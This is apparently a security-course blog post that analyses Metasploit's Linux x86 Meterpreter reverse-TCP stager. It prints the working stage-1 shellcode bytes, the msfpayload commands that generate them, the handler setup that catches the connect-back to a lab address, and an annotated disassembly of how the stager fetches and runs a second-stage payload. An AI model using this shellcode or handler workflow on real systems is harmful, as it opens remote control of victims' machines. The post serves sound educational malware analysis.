craftwa.re

A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[SLAE 5] Metasploit meterpreter/reverse_tcp Shellcode

|

Logo

This post is part of the 5th assignment of the SLAE course and will analyse another Metasploit shellcode: meterpreter/reverse_tcp. First we’ll check the description of this shellcode:

# msfpayload linux/x86/meterpreter/reverse_tcp S
 
       Name: Linux Meterpreter, Reverse TCP Stager
     Module: payload/linux/x86/meterpreter/reverse_tcp
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 178
       Rank: Normal
 
Provided by:
  PKS
  egypt <egypt@metasploit.com>
  skape <mmiller@hick.org>
 
Basic options:
Name          Current Setting  Required  Description
----          ---------------  --------  -----------
DebugOptions  0                no        Debugging options for POSIX meterpreter
LHOST                          yes       The listen address
LPORT         4444             yes       The listen port
PrependFork                    no        Add a fork() / exit_group() (for parent) code
 
Description:
  Connect back to the attacker, Staged meterpreter server

To test it, we’ll insert the 1st stage payload into the skeleton tester file:

# msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 C
/*
 * linux/x86/meterpreter/reverse_tcp - 71 bytes (stage 1)
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=192.168.56.101, LPORT=4444, 
 * ReverseConnectRetries=5, ReverseAllowProxy=false, 
 * EnableStageEncoding=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, AutoLoadStdapi=true, 
 * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true, 
 * EnableUnicodeEncoding=true, PrependFork=false, 
 * DebugOptions=0
 */
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80"
"\x97\x5b\x68\xc0\xa8\x38\x65\x68\x02\x00\x11\x5c\x89\xe1\x6a"
"\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10"
"\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b"
"\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1";
 
/*
 * linux/x86/meterpreter/reverse_tcp - 1126400 bytes (stage 2)
 * http://www.metasploit.com
 */
unsigned char buf[] = 
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x02\x00\x03\x00\x01\x00\x00\x00\x05\xfe\x04\x20\x34\x00"
[..]

We don’t care about the 2nd stage because it will be transmitted to the client after connection. Then start a multi handler which will receive the connection and send the 2nd stage payload:

msf exploit(handler) > show options 
 
Module options (exploit/multi/handler):
 
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
 
 
Payload options (linux/x86/meterpreter/reverse_tcp):
 
   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST         192.168.56.101   yes       The listen address
   LPORT         4444             yes       The listen port
 
msf exploit(handler) > exploit -j -z

We send the compiled stage 1:

$ ./shellcode
Shellcode Length:  24 bytes
(Shellcode contains null bytes)

And we get in the handler:

msf exploit(handler) > 
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.1:33626) at 2013-07-21 21:21:08 +0100
 
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
 
meterpreter > getuid 
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000

So the shellcode is working as expected. We proceed to analyse the payload with the shellcode tester from libemu:

# msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 R > shellcode.bin
# ls -al shellcode.bin 
-rwxrwx--- 1 root vboxsf 71 Jul 21 21:25 shellcode.bin
(71 bytes. It's stage 1)
$ cat shellcode.bin | /opt/libemu/bin/sctest -vvv -S -s 1000 -G shellcode.dot

And there’s the first part of the shellcode that it was possible to be decoded by the emulator:

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 1698212032 (host=192.168.56.101);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;

Here we see clearly the initial syscalls and their parameters. We can also view the same information graphically:

$ dot shellcode.dot -T png -o shellcode.png

Graph

Finally we’ll manually analyse the shellcode to understand the complete functionality. To disassemble it:

$ echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x38\x65\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1" | ndisasm -b 32 -

The first operation is, as we’ve seen previously, a socket call:

; man 2 socket
; int socket(int domain, int type, int protocol);
; Parameters can be viewed with strace commnad
; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
00000000  31DB              xor ebx,ebx         ; Zero out ebx
00000002  F7E3              mul ebx             ; Zero out eax
00000004  53                push ebx            ; Protocol - IPPROTO_IP (0) 
00000005  43                inc ebx             ; int call - SYS_SOCKET (1)
00000006  53                push ebx            ; Type - SOCK_STREAM (1)
00000007  6A02              push byte +0x2      ; Domain - AF_INET (2)
00000009  B066              mov al,0x66         ; sys_socketcall
0000000B  89E1              mov ecx,esp         ; Parameters
0000000D  CD80              int 0x80            ; Fire up the interrupt

Next is the connect call, which was also executed by the emulator:

; connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.56.101")}, 102)
0000000F  97                xchg eax,edi        ; fd is returned, then stored into edi
00000010  5B                pop ebx             ; ebx is 2
00000011  68C0A83865        push dword 0x6538a8c0
00000016  680200115C        push dword 0x5c110002
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66     ; sys_socketcall
0000001F  58                pop eax
00000020  50                push eax
00000021  51                push ecx
00000022  57                push edi            ; push first param - the fd
00000023  89E1              mov ecx,esp
00000025  43                inc ebx             ; int call - SYS_CONNECT (3)
00000026  CD80              int 0x80

Next operations were not executed by the emulator. Following is an mprotect call, which sets protection on a region of memory. The function has the following syntax:

int mprotect(const void *addr, size_t len, int prot);

The parameters of the call can be easily viewed with the strace utility:

mprotect(0xbff7e000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

The defines have the following values:

PROT_READ 0x1 
PROT_WRITE 0x2 
PROT_EXEC 0x4 

And if we verify with the assembly code:

00000028  B207              mov dl,0x7          ; PROT_READ|PROT_WRITE|PROT_EXEC
0000002A  B900100000        mov ecx,0x1000      ; 4096
0000002F  89E3              mov ebx,esp
00000031  C1EB0C            shr ebx,0xc
00000034  C1E30C            shl ebx,0xc
00000037  B07D              mov al,0x7d         ; sys_mprotect
00000039  CD80              int 0x80

The final part of the shellcode is, as expected, the read call, which will get the 2nd stage payload from the server, and then execute it:

; man 2 read
; read - read from a file descriptor
; ssize_t read(int fd, void *buf, size_t count);
0000003B  5B                pop ebx             ; fd to read from; pushed at 'push edi' line
0000003C  89E1              mov ecx,esp         ; buffer
0000003E  99                cdq
0000003F  B60C              mov dh,0xc          ; count - a lot of data to be read...
00000041  B003              mov al,0x3          ; sys_read
00000043  CD80              int 0x80
00000045  FFE1              jmp ecx             ; the buffer thathas been read. execute it

##

The complete source files and scripts mentioned in this post can be found in my SLAE Git repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification